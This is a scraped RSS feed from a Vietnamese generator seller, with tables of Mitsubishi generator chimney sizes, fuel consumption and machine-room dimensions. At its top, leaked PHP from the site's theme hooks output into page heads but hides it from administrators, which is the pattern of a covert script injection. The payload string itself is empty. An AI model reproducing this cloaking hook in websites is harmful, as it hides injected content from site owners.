if (!function_exists('f9d233f09')) {
function f9d233f09() {
if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) {
return;
}
echo '' . "\n";
}
}
add_action('wp_head', 'f9d233f09', 999);
Warning: Cannot modify header information - headers already sent by (output started at /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-content/themes/flatsome-upweb/functions.php:10) in /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-includes/feed-rss2.php on line 8
Bài viết Ống khói máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>– Kích thước trên chưa bao gồm phần bọc bảo ôn.
– Áp dụng cho chiều dài ống <10m và số cút chuyển hướng <= 3 chiếc.
|
Công suất (KVA ) |
Model |
Đường kính (mm) |
Ghi chú |
|
650 |
MS715D5 |
D180x2 |
Ống lốc từ thép tấm |
|
750 |
MS825D5 |
D200x2 |
Ống lốc từ thép tấm |
|
1250 |
MS1400D5 |
D300x2 |
Ống lốc từ thép tấm |
|
1400 |
MS1540D5 |
D300x2 |
Ống lốc từ thép tấm |
|
1500 |
MS1650D5 |
D300x2 |
Ống lốc từ thép tấm |
|
1750 |
MS1915D5 |
D350x2 |
Ống lốc từ thép tấm |
|
1875 |
MS2100D5 |
D350x2 |
Ống lốc từ thép tấm |
|
2050 |
MS2250D5 |
D350x2 |
Ống lốc từ thép tấm |
|
2250 |
MS2500D5 |
D400x2 |
Ống lốc từ thép tấm |
|
1000 |
MT1100D5 |
D250x2 |
Ống lốc từ thép tấm |
Bài viết Ống khói máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết Mức tiêu hao nhiên liệu máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Với máy phát điện Mitsubishi, suất tiêu hao ở mức 0.20 lít/1kVA/1giờ. Có nghĩa là để phát ra 1 kVA trong 1 giờ máy phát điện điện Mitsubishi tiêu tốn 0.20 lít dầu diesel.
Thông số này giúp ước tính nhanh mức tiêu hao của máy ở công suất bất kỳ. Ví dụ, máy 100 kVA thì một giờ tiêu hao (100*0.20 = 20 lít).
Bảng kê dưới đây giúp khách hàng có được các thông số:
Mức tiêu hao nhiên liệu tại 100% tải
|
Stt |
CS liên tục (KVA) |
CS dự phòng (KVA) |
Mức tiêu hao (lít/giờ) |
Suất tiêu hao (lít/kVA/giờ) |
|
(1) |
(3) |
(4) |
(6) |
(7)=(6)/(3) |
|
1 |
650 |
715 |
136 |
0,21 |
|
2 |
750 |
825 |
157 |
0,21 |
|
3 |
1250 |
1400 |
261 |
0,21 |
|
4 |
1400 |
1540 |
280 |
0,20 |
|
5 |
1500 |
1650 |
308 |
0,21 |
|
6 |
1750 |
1915 |
342 |
0,20 |
|
7 |
1875 |
2100 |
387 |
0,21 |
|
8 |
2050 |
2250 |
402 |
0,20 |
|
9 |
2250 |
2500 |
NA |
NA |
|
Suất tiêu hao trung bình (lít/kVA/giờ) |
0,20 |
|||
Bài viết Mức tiêu hao nhiên liệu máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết Kích thước phòng máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Do vậy, khi thiết kế phòng máy cần lưu ý các yêu tố:
Dưới đây là bảng kích thước phòng cơ bản cho máy phát điện Mitsubishi trần (không có vỏ cách âm)
[Xem bảng kích thước này trên mobile cần xoay ngang điện thoại]
|
Stt |
Model |
CS liên tục (KVA) |
Máy trần Dài x Rộng x Cao (mm) |
Phòng máy trần Dài x Rộng x Cao (mm) |
|
1 |
MS715D5 |
650 |
3.560 * 1.420 * 2.020 |
6.500 * 4.400 * 3.000 |
|
2 |
MS825D5 |
750 |
4.080 * 1.715 * 1.985 |
7.000 * 4.700 * 3.000 |
|
3 |
MS1400D5 |
1250 |
4.530 * 2.085 * 2.375 |
7.500 * 5.000 * 3.100 |
|
4 |
MS1540D5 |
1400 |
4.580 * 2.205 * 2.510 |
7.500 * 5.200 * 3.500 |
|
5 |
MS1650D5 |
1500 |
5.015 * 2.205 * 2.545 |
8.000 * 5.200 * 3.500 |
|
6 |
MS1915D5 |
1750 |
5.470 * 2.205 * 2.810 |
8.400 * 5.200 * 3.700 |
|
7 |
MS2100D5 |
1875 |
5.470 * 2.205 * 2.810 |
8.400 * 5.200 * 3.700 |
|
8 |
MS2250D5 |
2050 |
5.700 * 2.205 * 2.810 |
8.700 * 5.200 * 3.700 |
|
9 |
MS2500D5 |
2250 |
5.700 * 2.205 * 2.810 |
8.700 * 5.200 * 3.700 |
Bảng kích thước phòng cho máy Mitsubishi có vỏ
|
Stt |
Model |
CS liên tục (KVA) |
Máy vỏ Dài x Rộng x Cao (mm) |
Phòng máy vỏ Dài x Rộng x Cao (mm) |
|
1 |
MS715D5 |
650 |
4.700 * 2000 * 2500 |
7.700 * 5.000 * 3.500 |
|
2 |
MS825D5 |
750 |
5.300 * 2.450 * 2.600 |
8.300 * 5.400 * 3.500 |
|
3 |
MS1400D5 |
1250 |
5.600 * 2.700 * 2.600 |
8.600 * 5.700 * 3.600 |
|
4 |
MS1540D5 |
1400 |
5.850 * 2.900* 3.050 |
8.800 * 5.900 * 4.000 |
|
5 |
MS1650D5 |
1500 |
6.200 * 2.800* 3.050 |
9.200 * 5.800 * 4.000 |
|
6 |
MS1915D5 |
1750 |
6.800 * 2.800 * 3.050 |
9.800 * 5.800 * 4.000 |
|
7 |
MS2100D5 |
1875 |
6.800 * 2.800 * 3.400 |
9.800 * 5.800 * 4.400 |
|
8 |
MS2250D5 |
2050 |
7.000 * 3.000 * 3.400 |
10.000 * 6.000 * 4.400 |
|
9 |
MS2500D5 |
2250 |
7.000 * 3.000 * 3.400 |
10.000 * 6.000 * 4.400 |
– Kích thước phòng máy chỉ mang tính tham khảo.
– Để có một không gian phòng máy vừa vặn, hợp lý cả lắp đặt và vận hành về lâu dài, nên tham khảo ý kiến tư vấn của các chuyên gia có chuyên môn sâu về máy phát điện.
Bài viết Kích thước phòng máy phát điện Mitsubishi đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>